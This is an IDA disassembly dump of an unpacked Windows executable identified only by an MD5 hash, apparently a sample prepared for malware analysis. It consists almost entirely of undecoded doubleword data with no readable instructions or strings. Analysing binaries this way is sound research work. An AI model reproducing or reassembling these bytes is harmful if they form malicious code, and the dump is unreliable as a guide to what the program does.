; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : C4EFBDED079E0F3C8922FEEEADD6D2A3 ; File Name : u:\work\c4efbded079e0f3c8922feeeadd6d2a3_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000E0000 ( 917504.) ; Section size in file : 000E0000 ( 917504.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing dd 86B82170h, 71ECF274h, 915E2652h, 0C4D29BB7h, 5FB62263h dd 93F24AA9h, 0A983E61Dh, 0A7406FE2h, 3AEE9FA6h, 6A36B15Dh dd 0FC893C24h, 170B6179h, 0B6D12947h, 8201DC88h, 1B438CB2h dd 0AFA4F10Ch, 6DEC351Bh, 597E5AB7h, 853F4259h, 63903BBh dd 0FE3BFE61h, 0E7CA23Dh, 0B34726BDh, 78E58D13h, 0DD3C680Ah dd 9E1EFD3Ah, 86C65585h, 0E8C034B5h, 0E01ACA6h, 0A68D9844h dd 2441F3A3h, 0BE64ABA3h, 4E6BB1E4h, 16544BE2h, 1F4135BDh dd 8C5EA36Dh, 0FF57195h, 9BE94F66h, 0EB4DC6FFh, 0C0036207h dd 0EEBC7A52h, 8A98B19Dh, 0BE3E6FBBh, 0EFDB31Dh, 8AB83D15h dd 0BFD9D79Dh, 32EB599Fh, 403DDC9Fh, 5E596152h, 4D5AFD49h dd 8A1B8ECEh, 0E135CBEh, 3C02FE99h, 7B24ED38h, 82F535A6h dd 1D8FF1CDh, 902631E1h, 0E3F357Eh, 51F3EA8Dh, 1402617h dd 0B036663Ah, 0D546FE52h, 25258C71h, 0EC986270h, 0E2C23B7Ch dd 369B2309h, 504597A5h, 5EFA3371h, 0FDA508A3h, 3D624949h dd 0FCE53E54h, 253F06A1h, 5C61A148h, 92DECB38h, 0E57A12F2h dd 8A0222B5h, 799F4EA0h, 0B2013931h, 70DEC7D9h, 0CAEABE48h dd 0FC5A84Dh, 0AE3E6750h, 3EBFC2A2h, 6B5420A8h, 0DE8AECFEh dd 0A89493A1h, 9F19D18Dh, 0F6C7A81Fh, 5A43F935h, 6DBE27DDh dd 3ED4360Eh, 4147BC2Ah, 421156Eh, 0BEA3D25Dh, 1FA5E367h dd 0BF2EDDE5h, 8AD12023h, 71D51C3Ah, 0B16C9F36h, 3D385D16h dd 8E7C3160h, 0DA861ED5h, 0BEC147F2h, 0B3FE8201h, 529F2939h dd 5E5B483Ch, 32E0CEB3h, 9B3E19BAh, 0BEC8229Dh, 621A828Ch dd 41577885h, 0A3C131A1h, 0E342A574h, 0E54AC43Ch, 9C9552BFh dd 5A323BA9h, 0FB784761h, 2E09E550h, 7E3C0C3Ch, 4D129195h dd 236A98F3h, 51535E47h, 0BABBF5C2h, 0C6892622h, 0A138C2Fh dd 9CDB0B20h, 5A911245h, 4A13C982h, 0C3B24610h, 5F1C1C9h dd 0A1F53D3Ch, 2E40E421h, 64EEA9BAh, 91C536BBh, 9CDAF6B7h dd 12D00353h, 0A9801A45h, 9F471020h, 5D87A149h, 0B423234Bh dd 254C809Ah, 0B9ABA084h, 0B0680069h, 962ECF14h, 0B2FB3EBCh dd 9A1DD34h, 0F349E879h, 933537E4h, 0BFFBF23Ch, 4190A387h dd 0EA2929D8h, 0CE0DD91Dh, 957E0E63h, 0D15AEDA0h, 0F9E270B5h dd 40131D5Ch, 0ACED0B42h, 1DBA3155h, 54478855h, 0F89AD948h dd 6D90FDE7h, 0D413DD5Fh, 0FE5A27A2h, 6603DFC3h, 0BD07B6A1h dd 61997B32h, 0CAAA3B48h, 1AEC58AEh, 22E360BBh, 61340CCEh dd 0DB23FD9Dh, 0F7D0596Ah, 0AAE0657Bh, 2412749h, 0DF4BC315h dd 0AA338A7Eh, 0DB293D7Ch, 0A04AF922h, 2C1F335Ch, 0B1BFF125h dd 3220B5F1h, 0BD5955E0h, 95083145h, 7017C010h, 0D33FDD45h dd 0BDE358BBh, 54AAC955h, 43FDF933h, 6D0720A1h, 0CBA06831h dd 677BF57Ch, 95C94900h, 0A7BE9A33h, 773DCB5Ch, 0FE004DC1h dd 0C1822372h, 0CC22AC4Dh, 0E35DB161h, 23B89142h, 671936D0h dd 8A01ECB2h, 6216ACFEh, 46AB424Ch, 0FCC23D79h, 0A999F1C8h dd 2ECAB23h, 45350522h, 17729921h, 0DF529774h, 0A04CDAB6h dd 910DCD1Dh, 0AE218B81h, 69E4829h, 46CB0E96h, 86112872h dd 0C84B0A5Fh, 0B480834Fh, 0D97AC95Dh, 0C503C74Bh, 272FC281h dd 0D10F2B9Dh, 1D852B7Ch, 685F4168h, 18392385h, 0AC5E8062h dd 9ED52CA6h, 709A739Dh, 4062891h, 6220A6BDh, 2522CEBEh dd 99C2F96Ch, 0A272C94Ch, 0D02F9FF5h, 0A83AF31Bh, 22C65C75h dd 0AB7A3C11h, 105F83F1h, 0CC12CAB8h, 60377DA5h, 2A87CD5Bh dd 0BB6FAFABh, 6DF0882Ah, 0E50BF2B3h, 0A7A2851Dh, 63B2EC7Bh dd 1B396A75h, 5F80EC72h, 0DEE9496Bh, 22911CBh, 55A39291h dd 0EDED3765h, 0A2A6B63Eh, 0C951931h, 1ABEE5B3h, 5E4A6133h dd 0CCF2A4Ch, 7522E0C5h, 90DB7EA6h, 66081D0Ch, 20BA2A50h dd 0F838309h, 20C6F74Ah, 0ACAAE274h, 7B208996h, 5FC3B2B9h dd 0F69D1056h, 0B7B872Ch, 7FFA370Ch, 4710D510h, 0AE833875h dd 9E40A703h, 0A23110B4h, 4471892Dh, 76CD37D9h, 29CC3584h dd 2BFA9FBAh, 45C2675Fh, 0FAC1A61Bh, 0B2EBCEA2h, 6EE7DC4Fh dd 0D6A03562h, 655D2B84h, 3BA92DD2h, 4E5B10Dh, 0EEE16666h dd 0A41AC958h, 3EA1FE64h, 7DAC3049h, 0FE2E6757h, 70BF157Dh dd 0B51FAC9Dh, 0BD9D043Ch, 0CF1E6D57h, 6845AB1h, 238D031Eh dd 662A139Dh, 0B319FEBDh, 53318A21h, 9DD13D75h, 62F7D6A6h dd 4CAF2A7Ch, 1D0B4DD5h, 163CAC28h, 8A8218FDh, 2A011B11h dd 6E5AB46Dh, 1DB3A95Ah, 0B32B3DC3h, 1B3A2E27h, 52C14A11h dd 0BD931D48h, 49FEDBF1h, 7CE3B586h, 761E8D80h, 1026E903h dd 0A74FAFF7h, 0E12963E4h, 0B6E85D60h, 1D0C4855h, 30A6CE9Dh dd 78E5432Ch, 0E3E95285h, 7605630Dh, 61B2B4C4h, 0A33AEC85h dd 73D8FE0Fh, 0D7B799C4h, 8D38CD15h, 1B7D8DB8h, 58411005h dd 2CCFBCC3h, 3E340013h, 9596CFCAh, 0FAEE5A3h, 0FD3ABB03h dd 83ADB7BCh, 0EBE2393h, 299331A7h, 4FC7F0h, 0CF2D5D41h dd 0B6D8AA7Fh, 106EE32Fh, 0AA928264h, 260F264Ah, 0A6209EDAh dd 0F7146F3Dh, 92E35E31h, 0DADB75ABh, 43E5043h, 2EE52C4Ah dd 9F518195h, 41ACADDh, 44522F13h, 1CBD0390h, 0AD1D3DCAh dd 2E92A9B5h, 71698D73h, 0FC32E586h, 0F256B0Ch, 7D120E49h dd 0E9BDFD71h, 555A3C1Fh, 66A1EEA6h, 5703F449h, 9BFF3C9Dh dd 0AF7D08E4h, 7F6D36EEh, 0D07BC651h, 0E4286D15h, 42265D49h dd 0BC04EA7Dh, 0C1BD0993h, 14BFCE07h, 525A3889h, 0F432522h dd 3ADD2FBEh, 854034EAh, 658E4DCDh, 0C41979F1h, 6CFB49F9h dd 71EA281Dh, 7CDE2B0Dh, 768222B3h, 1E5F9Ah, 0B4B510EDh dd 4CE4495Bh, 4840F6A7h, 0A41CB8Ah, 5B7E62B8h, 22EA20A8h dd 151A2C4Dh, 90CFE9BCh, 0E28E57A1h, 2F23C78h, 6F6E7DBEh dd 30185DDCh, 4FC2A473h, 0DEB33CB9h, 7E276385h, 2D9F006Eh dd 43A136B0h, 4E0E9305h, 0B1B6A520h, 869FC401h, 0B3EA3E34h dd 6AA6974Fh, 0EF700CB1h, 72822919h, 0B52B0ADCh, 3741148h dd 4231E93Dh, 0E29932C1h, 0AB626702h, 0A3AF1ECh, 25AC1780h dd 208834Ch, 0BB8731BDh, 6A25307Dh, 0E7DCA79Ch, 1E8B5C58h dd 9CEA6F48h, 0D1AA4219h, 501F2034h, 228FA73Ch, 0E9170678h dd 0E41ECB53h, 63B0F382h, 95B2D3E5h, 0BA18B262h, 0AA3C69E8h dd 0A3EC2AB1h, 0B2F7496Eh, 2AFD1518h, 8D082898h, 0DE273427h dd 1D874BA4h, 43CE24A7h, 5BCE2BEAh, 69C1F349h, 2DA5B33h dd 25DF2DFEh, 0A8651BB9h, 5E5BB829h, 5A812340h, 41A3571Fh dd 0C314400Dh, 263ADAB4h, 0C160A90Fh, 9C32457Dh, 0CD5CA070h dd 0E2642E23h, 2F7C53Fh, 0B69357A2h, 72A77495h, 269D194Ah dd 0DC0939A9h, 3B294962h, 7694981Ah, 50466954h, 0FDFC3910h dd 371D0288h, 0A21A7B79h, 0B224F621h, 0D7CEBC58h, 8B5D3821h dd 62F71DC5h, 0E899FCB7h, 71040351h, 86DD3145h, 0A2A2B090h dd 0B5188D67h, 0A09D0D3Fh, 82BA91BDh, 0D8F3774Eh, 0AB31EC8Bh dd 0A3F41329h, 721034B6h, 2ABA1DF7h, 6253680Ch, 915AAEA4h dd 1ECBABDAh, 73B036E8h, 1B22D6B7h, 0CFB94B29h, 43353760h dd 0DBAE0B3Ch, 0E0A6185Fh, 23BA3979h, 0DCCB631Dh, 344C86BBh dd 0DCEFFE01h, 7425C8A4h, 5BAFB538h, 0BA43AA52h, 403BDDC1h dd 0A8161925h, 9CEAAECFh, 0D8340675h, 23422315h, 4FBE6F4Ch dd 71F11036h, 38AC0533h, 9C3C510Dh, 0E4F2D87Bh, 522CEE3Bh dd 0BBBE32C8h, 17BB4925h, 0A82C69ADh, 41BA2F61h, 57C24C05h dd 4F972B67h, 0C06D1EC9h dd 658B1294h, 78927828h, 0FE2DCB41h, 82FC2661h, 0A6C10C6Ch dd 0A15EC941h, 24531501h, 0F5EF0146h, 35520689h, 43EB5BDBh dd 2B8FEDD3h, 14B06FE4h, 504D3B76h, 54173D7Ah, 42FFBA2Bh dd 0B20B6460h, 6485C023h, 4312F5DFh, 2B23611Dh, 0B338F42Ch dd 250D8D9Ch, 5C94E10Fh, 0C20002E9h, 6132CAB5h, 5CBE995Bh dd 14496D57h, 0B3339D43h, 442EDC49h, 0B2EC911Dh, 82B7A5D0h dd 0E4A0F432h, 5AF7DD25h, 0D670861Dh, 821E9562h, 63B67D17h dd 100BCD9Ah, 0C46700D9h, 6DE61649h, 42B28D8Dh, 3EB5229Dh dd 0BAD350D9h, 5D728849h, 2529232Ch, 6D5648FEh, 2B4BB116h dd 970D022Ch, 991F664Fh, 9B0E000h, 0A4EE903Bh, 67B4EDC1h dd 0BA416008h, 48A2B414h, 0FE9F7810h, 79BEBEB5h, 0DEFDDEDCh dd 5F00F2BBh, 52F3A159h, 2BCCDD47h, 388A4332h, 0BA039FCBh dd 76D13029h, 38F8400Ch, 0AED43A5Ah, 22BE3361h, 2A78547h dd 40960294h, 0C89C62B4h, 2E3129Dh, 98719969h, 0B5EB402Dh dd 60034C63h, 679BA9F1h, 15B58059h, 43DDF0C4h, 0C28D28BAh dd 4154F0DEh, 6C70FCE4h, 0BC2AA8E1h, 2F9175FFh, 0BD9F0D9Ch dd 0BC0EED32h, 0BE10983Fh, 0C0B82E9Fh, 0F9BBB22Dh, 0A362E365h dd 4601C1B3h, 75811643h, 2A08D3DDh, 3A23C8B2h, 0D39DAE38h dd 0E1EE03Fh, 74829142h, 7F2327h, 5EFDE6BFh, 3E9CD5DDh dd 71CA0DACh, 0E5B7D27Bh, 79E2A560h, 72CE2978h, 463872D9h dd 0C393F611h, 752FF74Ah, 0A9DB3322h, 0AB79B463h, 83388418h dd 25B13E6Dh, 0F0B40128h, 0ADD10643h, 3C2EA8EAh, 1A148EF3h dd 1BFF3D11h, 0DAEC83FEh, 77C922DFh, 6EE6B688h, 85638435h dd 0A2392BDFh, 0A5244011h, 0A9B3BE73h, 794AAA59h, 0D7403C52h dd 3BC47A32h, 5ACE692Eh, 0A25F13E4h, 91BC2252h, 0FF4FFD1Dh dd 39E8AEF5h, 0D4351A44h, 4EE65D1Ch, 118249E2h, 0BF7E71A1h dd 53BDB99Ah, 42F7EC0Dh, 0BD7D3020h, 0B06ED49h, 0CCFB0E10h dd 4F44334Fh, 0BB922986h, 4635F474h, 280AC87h, 2307B64Dh dd 62BC3DDFh, 1B77983Dh, 51852D98h, 2D3B42B0h, 0F4BD6EFEh dd 0F2DAE04Bh, 83E0AC91h, 0C9BADFCCh, 22888945h, 613CE849h dd 0DDF4D5F3h, 0A8658763h, 0A72AE7BFh, 2B893517h, 0B2B0B334h dd 317F23C1h, 2C1C0041h, 8843A83Ah, 830EDF19h, 4E220EF6h dd 0FD9A71E7h, 28E6F0B0h, 0B47A664Bh, 630A68B4h, 60692049h dd 0C01F05DFh, 8E810303h, 0E0751673h, 0D59FDDD9h, 77DB88F0h dd 102A8151h, 0A7EC873Dh, 77C10743h, 36123F1Ah, 0B0EA8CAEh dd 2BB5B87Eh, 5F1FD229h, 9E09B825h, 5FA30CBCh, 5B5279B5h dd 0D6B623A6h, 2231C7Bh, 748AB7BEh, 5356AB90h, 37FF90B0h dd 0D14184B9h, 320FF2D1h, 31EDAD2Eh, 1EF70C4Ah, 1F9318C7h dd 0E42A791Eh, 4FE8815Eh, 0FAF591E6h, 12C04DDAh, 37C70149h dd 0E0E312F2h, 42EB01Dh, 4F06D2BDh, 0A2EE8E25h, 0BC0AB692h dd 0A6FE109Fh, 7D5EC6B3h, 0AB2FBF9Ah, 0AAC50E3Ah, 1DA88EDFh dd 6F46E545h, 1C4D0FBDh, 42304CB9h, 0D1F8CE47h, 1F4EA175h dd 6D863500h, 0B4DB3344h, 2AE8073Ch, 2AFEDF34h, 0FFB32D17h dd 1ADD3D06h, 1D2C9CFh, 2DB8E07Ah, 0B9B7ABB1h, 337BC84Eh dd 1ABEA0FBh, 1AD4AA8Fh, 77B2129Ch, 4A9EBB83h, 27AC2E10h dd 9AF3104Bh, 9482382Dh, 74C6A1C1h, 1E322871h, 0EEA68445h dd 0F9B96A0h, 0F036FFA9h, 0F5EBDB0Fh, 0B1B4CFCCh, 0EA439ACh dd 0B2F8776Fh, 0D37F10DCh, 2DF2ADCEh, 0DF108E48h, 417BB9FFh dd 0A26D4D43h, 0B66A5FB5h, 9EFEA7E5h, 8586B53Ch, 91812F7Dh dd 950962EDh, 6B0C9143h, 0C6FA440Eh, 20A1E39Ah, 6AF124B8h dd 9FC2A638h, 0B6D1026Ch, 54DD5CC4h, 0C572DB48h, 0A74F1955h dd 212F075h, 0B75BC271h, 660680AAh, 22BF97BDh, 9D9E24F4h dd 0DC8590C0h, 0DC5F06D9h, 2B201925h, 701E9247h, 59113D78h dd 0AD4845B5h, 0BA8F131Bh, 5B3285B3h, 8652DD73h, 0ECE6CF43h dd 8ADD0C15h, 0A4E19092h, 46ABA05h, 0E45BDD84h, 1EDA127Dh dd 48F8529Dh, 8012F824h, 972DC81Eh, 82294D35h, 246CB3FEh dd 0BA9E4549h, 0EFEED105h, 3292DAFCh, 35A82CBFh, 3452A901h dd 536C5563h, 22B77C79h, 5D007F19h, 995118CDh, 0CD31876Ah dd 4C7A6DB1h, 4DA896D4h, 0B829A908h, 4E3240A7h, 3C6C56B5h dd 0A7367C79h, 8ABEC37Fh, 0F330B8Fh, 561D9F4Ch, 8391C01Dh dd 509BC4C7h, 0F146636Bh, 6D5F49B5h, 37FACA7h, 121F2905h dd 463530C2h, 5A9DCE3Dh, 52FAB4AEh, 5439A8A4h, 0BDA0A6A0h dd 0AE02363Ch, 25BC0D51h, 4C7AE67Dh, 17BBEE5Dh, 625E7705h dd 3C129C4h, 0BE151315h, 0D4754943h, 7B2FF2B0h, 1028DC06h dd 3B97AD23h, 0BCA50B5Dh, 0AD7D1108h, 0A811B244h, 0C83804E3h dd 30B4B4C4h, 0A28322A4h, 0C889C55Dh, 82FFF682h, 0E10112Bh dd 4B7BA1B0h, 61A800EDh, 4602E46Ah, 65B4629h, 7400FA1Ch dd 0FCBA0E94h, 0E3EACFCCh, 0C6AA9ABh, 0D437AB5Ch, 4BDAC847h dd 9CFAAEB1h, 9D30BEB6h, 0FAB41D38h, 647043EEh, 9F20DAFh dd 285FBA4Dh, 0AD2833Eh, 0AA4F6842h, 0AE3CC1E1h, 0CA0FA538h dd 7C0965A8h, 0C3FF051Dh, 0E07E2F1Ah, 0B8C6679h, 0AEF4C946h dd 530D1425h, 403A7A46h, 2A04498Dh, 8EFFB022h, 8BE49562h dd 0BC86252Eh, 33F7493Ah, 6AF0EF77h, 79F96C6Bh, 0BD5EEC2h dd 5D2D1DFBh, 5D22231Bh, 0A45D2B19h, 0A5368033h, 7AF0843Dh dd 0AB351B3Eh, 685C39F6h, 9F55C35Dh, 0C841E663h, 512EFE36h dd 5E97ED38h, 25BD31EAh, 0AA8C8EADh, 32B3454Dh, 43469AD2h dd 0A1B8164Ch, 52302CA0h, 78009306h, 19E53544h, 47BF6ED3h dd 1E282469h, 0ABFE3D7Bh, 532D445Fh, 50004FCh, 0C0FC199h dd 0A2C7AA4Dh, 0F72EC950h, 62D27722h, 0A690F621h, 70E733C1h dd 9EDA6304h, 41F63073h, 734C3B72h, 0CC4F789Dh, 8D4AFB3Dh dd 1B9F11BDh, 0B6CFA7E0h, 0ABFA7721h, 0C2858445h, 0BBA2A2BAh dd 0AE3CBEA7h, 1EDE519Ch, 5D57EDB4h, 0E50539D7h, 9EF0C8A0h dd 0E35AA3FCh, 5150BD31h, 0BCCF4D1Dh, 0D1229A0Ah, 3A87A149h dd 6CC916B1h, 534329BCh, 9DDB3F27h, 0A76509CCh, 32AEEB36h dd 23B3C19Bh, 18CA031Ch, 923396B0h, 2348A230h, 85FABA7Fh dd 93F01098h, 5A05C11Bh, 0BA80A13Eh, 0B0A0BC3Dh, 0D1C109B3h dd 4B5D0118h, 0ACA78D37h, 0CC36CB5Dh, 2E74AD35h, 0DB75704Fh dd 0D51A0BBFh, 62D1F329h, 29F5031h, 77020F39h, 743B42B9h dd 1728ABCEh, 45841AFCh, 1CEC5537h, 0C4029446h, 6CC9314Ch dd 431F6CC2h, 2AF0ECE6h, 0AB8C160Eh, 4E1B06A0h, 0B217A275h dd 0AA62FF91h, 0FA1573C5h, 6DAAF4AFh, 0F5C7EFDCh, 27BEE6B1h dd 0FEC90444h, 0DC1277A9h, 31781BBDh, 0A24F36A5h, 23416022h dd 322ED58Ch, 8D6D1795h, 386660BDh, 63901B1h, 305072BDh dd 91813CFEh, 0AC75031Ah, 5E352AD3h, 0B0A79345h, 0E2221662h dd 1093AEB5h, 1E812946h, 7C7AD263h, 78206501h, 0BB07E24Fh dd 0CCFA31EDh, 0A295385Dh, 0A3B2AC51h, 6AF595FDh, 0A2245DD4h dd 0A400ADC5h, 36DE6FFDh, 428E5C42h, 2E00AFD4h, 39E04144h dd 0A2B53048h, 24B2ACFAh, 0D0324088h, 162BDCD3h, 2ABF81BDh dd 5ED26905h, 5CFF1539h, 0AAD90049h, 0B313932Eh, 28E32909h dd 0FDAEE335h, 23CCBE5h, 72114471h, 395A2A65h, 521BC075h dd 580BFE21h, 222870B5h, 0C1EEC51h, 422B65B0h, 6D845CBCh dd 0B222387Fh, 0A77AEBB5h, 0D6A94F63h, 0AB3BEF5Ch, 0BC235085h dd 5D607DC7h, 4D4193E8h dd 7B4A0091h, 5CBE8ABDh, 5D1F9331h, 4511F036h, 0B47509A3h dd 1FD82919h, 0AA351316h, 0AAF9005Ch, 690269DEh, 3C3795F5h dd 421A2DAAh, 0BA2BA743h, 7FBE39BDh, 0A37762B7h, 6F01295Ch dd 0B2522554h, 9E18BB61h, 8B56CEB5h, 0BB934577h, 2372B159h dd 0AB05FFFEh, 0CA23E31Dh, 3F7D23B5h, 0A2198761h, 5EAACEB3h dd 7A6B0039h, 61BEA6BDh, 5641F910h, 86184864h, 45C7576Bh dd 6A6FFCB9h, 4E4D203Ah, 71BFCAECh, 0CE52E69Dh, 0BC78940Fh dd 71234D47h, 0B100C94Dh, 0ACEF01Dh, 1522098Bh, 0B005E820h dd 0AA24FBBDh, 6E608975h, 0F201E63Eh, 0DC5300F5h, 0E7DBFF40h dd 3D1804B6h, 0AA343366h, 4A2200DAh, 59F0A374h, 9EA2E0B2h dd 451B3147h, 191BE601h, 5DCA009Dh, 0BBDFF3B2h, 595D5651h dd 3AE0B03h, 833CF9F4h, 3B27501Bh, 0B93356DDh, 2BB52BCCh dd 78E94895h, 43A2A4ECh, 6CAA5F44h, 83188547h, 0D6030853h dd 38E87444h, 0A45A0B04h, 0BB92E35Ch, 6A4FBC1h, 786249B2h dd 433D0251h, 9FEBFF2Ah, 89AEAD63h, 2A1B9E7Bh, 83F0A921h dd 0B1717323h, 0AF00DAB4h, 0D8003F68h, 4232D144h, 2629B0D3h dd 5D2F3243h, 0A4E90029h, 8BC7BEA7h, 0BF542346h, 0B30B0361h dd 0CA6E296Dh, 0AA20B35Ch, 0A2220860h, 968131B5h, 7096E997h dd 8EDD2BBDh, 7D728497h, 0AAE64944h, 82C1A9E1h, 0B06F2935h dd 0AF3A6560h, 0A683F817h, 0A647ADD9h, 3EB2BF44h, 1BEBED3Dh dd 5CBEB6B9h, 7EEC6956h, 0B02B033Dh, 1623E062h, 0B0932DB5h dd 8A3ADD4Ch, 0BBA4BF63h, 0F52363EDh, 0AB2E7403h, 207F2901h dd 737A9935h, 1B169061h, 0BBEEE33Fh, 4CD6CDC9h, 0A5BC3079h dd 62B53744h, 93EAD33Dh, 5A00A2B2h, 0C0DEC444h, 6233E553h dd 2AB201BAh, 7311A96Dh, 1E113560h, 4B7D0763h, 0A3231501h dd 9003DC6Dh, 5DEAFB85h, 88529EA3h, 9FCC1727h, 6D35911Ah dd 945AB6EBh, 678C6B6Eh, 0F5151Bh, 0BBB1DBFCh, 0B640CF58h dd 0DF50DA9Ch, 879D031Dh, 1AF9E5Ah, 5F337ABDh, 3C2E29C1h dd 36366E0Ch, 0E2B7E321h, 0BCAACD36h, 14003F2Dh, 7D32BD44h dd 0A232DFD4h, 6800AD35h, 8AD4C0FDh, 4AEA183Dh, 5CBEA6B9h dd 7E296941h, 746D0E2Dh, 0E3357F9h, 2E0058BDh, 6DE9E3Dh dd 5D2C4C43h, 5CBED02Eh, 7EE069F5h, 0B0880305h, 72223262h dd 98938CB5h, 1EF52EB7h, 0E57EB063h, 0ABF900B8h, 0CF222A29h dd 1BAED35h, 5A39380Ch, 0E2F0E321h, 0BC0EC2A1h, 0EC223F68h dd 221536B9h, 0A687F85Dh, 0AD00AD41h, 0BADEB6FDh, 0A4B12744h dd 0B2B2DB44h, 8BEA483Dh, 0AA00A2BAh, 0F6DE7D44h, 0D9322953h dd 1C561248h, 874ACEBBh, 5E9672B2h, 0EA21F9AAh, 58ACEB89h dd 0DA0687F7h, 92E6286Ch, 0DA013B10h, 64568D44h, 7E71F8B5h dd 58C18621h, 24481245h, 9E582B4Bh, 55D8FAB0h, 36F6E1E8h dd 4056BAB4h, 17EA750Eh, 2646AD31h, 274CB24h, 2DB8EFC2h dd 0F3CAA01Ch, 0BE812E91h, 9E45E17Eh, 1EB29D29h, 5ED05561h dd 0D6F9AA5Ah, 0AF49B8F9h, 0EA1AA43Ch, 505818B1h, 0BACB3141h dd 2D560845h, 0B0A5E3DCh, 4312D9BBh, 0C96A490Eh, 0AFB515B0h dd 45A33317h, 0B7BBA2B5h, 6728B54Dh, 25B87419h, 5F6DF938h dd 1C0C052h, 7D4CC36Eh, 755A32B5h, 0AA0600B3h, 42C2D421h dd 0A4FC1421h, 0AF3EDBB3h, 2013151Ah, 1FEF2984h, 9233E2EDh dd 902009Ah, 860128FDh, 5D2F1543h, 0AB6100CDh, 0B3C1934Eh dd 1F43298Dh, 0EF7D1D35h, 0AEB35463h, 0DE220662h, 0C8937EB5h dd 1E892EBEh, 347A6263h, 0C8209101h, 1E3C4D4Fh, 33238963h dd 0AB3F5B03h, 0B15328C9h, 0AA3E9D44h, 73D5A931h, 1EBD35C6h dd 0F30FB7Eh, 6EC8D070h, 745D319Ah, 6343F53Ch, 0B61253C8h dd 20E0D17Eh, 0EA7E3B04h, 0EE1BD9BCh, 85BAE34Eh, 15C11DB5h dd 83976C9Dh, 429883F6h, 8E19CF79h, 0B724DA35h, 0C8B12904h dd 0E22F4630h, 2336C9BDh, 0ECB46B5Ah, 253A9395h, 255CD09Ah dd 59D1C1F8h, 2F484869h, 47F2994Bh, 0E13B7C8h, 854900B0h dd 5B08AAB3h, 32EEDF5Bh, 0BFB2961Fh, 3B6956B1h, 0F2C9493Bh dd 27CCE3DEh, 2056C436h, 3C1173B5h, 0E1AAE51Fh, 0F8688569h dd 9D7EBD6Ah, 37FB0354h, 9B1CC66Ch, 0BE3ADAC6h, 2052BD25h dd 22A23147h, 2F72DDDBh, 3280B495h, 6504039Bh, 8AA50051h dd 5856AF3Dh, 5D031B3Ah, 0A2CDF4ADh, 0A488625Dh, 824D04C5h dd 0EB7885DCh, 1D422960h, 0B30D2AE4h, 4C905F10h, 23224D5Dh dd 0A7DB0170h, 17F24EBAh, 0E2D01135h, 0DB4B9970h, 0A3485ECCh dd 0BB4C71AFh, 123B7D0h, 18B21AF4h, 0E5E6F052h, 5D5B0355h dd 0EACAEADh, 798A0029h, 735A06A0h, 273C9607h, 581759F5h dd 5A95046Ch, 0E6BF6EABh, 46E13AFCh, 238D3D6Bh, 953632A0h dd 3B313CE9h, 5BF8514Fh, 273C0EE7h, 60105F2Dh, 0A31CC58Dh dd 2A0BB7B8h, 0E095EEB9h, 0B80BE6A4h, 0B5594F10h, 2ACF7C5h dd 0A1EAD7FDh, 893C40E4h, 4EC41271h, 0AA259D38h, 0E9052FACh dd 0D35170A0h, 4EBE3C5Eh, 0CE70CCAh, 2446ED6Ah, 0C49C9C26h dd 0C62FB9E1h, 24A32AD7h, 5352443Ah, 5B4CFF58h, 0FB1FCF14h dd 0EA0B2C94h, 92BE0052h, 0BAB033D0h, 0FDB13DBFh, 22E38579h dd 9C005EC5h, 0DA102121h, 4FA2846Dh, 0A906111Bh, 2F029930h dd 1E27513Ah, 0A45AB550h, 23501A25h, 181C1608h, 0B97DE143h dd 3ECA41FFh, 58EA7848h, 6047314Fh, 0B847B956h, 1CF764B6h dd 0F8C6776Ah, 4890131Bh, 0DE0AAEF9h, 0CA1D7228h, 91E10EC1h dd 0B9F2F9FBh, 0A243A885h, 0B56AE3D0h, 1E3745E8h, 0AD31AFB5h dd 3E109D80h, 0ADA48B78h, 578DB497h, 0DE323A5Bh, 434D1121h dd 21620E9Dh, 0A03B7F1Fh, 0B412843Dh, 0D2F3204Ah, 56064B41h dd 9C343938h, 10B47523h, 0B290815Dh, 0D23915E9h, 6B8EED3Fh dd 0A2F19D0h, 33C7AD9Ch, 0B38313Eh, 4622D963h, 5D4A6144h dd 0DB295EC5h, 0AA35E1E1h, 7C9659E5h, 5DE5AF37h, 240B00B5h dd 0F3BFC6D8h, 70DF134Bh, 3B9F11Eh, 0BA279F08h, 731F0C09h dd 0A5331522h, 3512D0FCh, 0BD5BA97Fh, 34754C0Bh, 0E64A42B5h dd 835AADD6h, 4D8149A3h, 823E361Ch, 2A8FDB10h, 4238A773h dd 5E2CA51Dh, 1EF9AAD8h, 1185C543h, 1969C35Ch, 0EC708ABCh dd 2CA33CC4h, 7E354A20h, 57109B3h, 852E4750h, 0A990F77Fh dd 2F8DFF41h, 0A2313F2h, 8CDE8040h, 0D5C5FCA0h, 0EE177B7Ch dd 3706BD1Fh, 0C23571EDh, 0DAE4B28Ch, 0CCE938D4h, 2BE3CA24h dd 5E267C65h, 5C992992h, 0A3B67BF3h, 82D7AD65h, 0A5C13944h dd 0B8B96A64h, 31E9DE1Eh, 6B6E92BDh, 0BDBC73DDh, 0CE0302BEh dd 0FA3D1EF1h, 0A810A99Eh, 216FE9F5h, 44108151h, 1BA7DED3h dd 285AFFB1h, 161DE723h, 8F2F28EFh, 0A059B14Eh, 8498C9C4h dd 204334EBh, 2B3B6851h, 0A9322D47h, 0B8014F31h, 40FD0F43h dd 2CB03011h, 214C89FDh, 0E6D5A20Dh, 0A6230A15h, 18DA9F65h dd 0F97F85A1h, 52C7695Eh, 90DC84AAh, 0AC8F3543h, 87BEDE9Dh dd 0BECABB6Dh, 1A43D8B6h, 1F142CE9h, 0FEBC54Ah, 49E53E13h dd 4BA6A99Fh, 689CBBEAh, 0A1FD2AB3h, 0B70E0FE0h, 733B95C1h dd 7C4F8B8Dh, 96FBC9CDh, 0E3DDFDF5h, 7B01A321h, 0B39EE170h dd 9E84801Dh, 92AF490Fh, 31EA0F53h, 1F5DB175h, 0FC08241h dd 8C422214h, 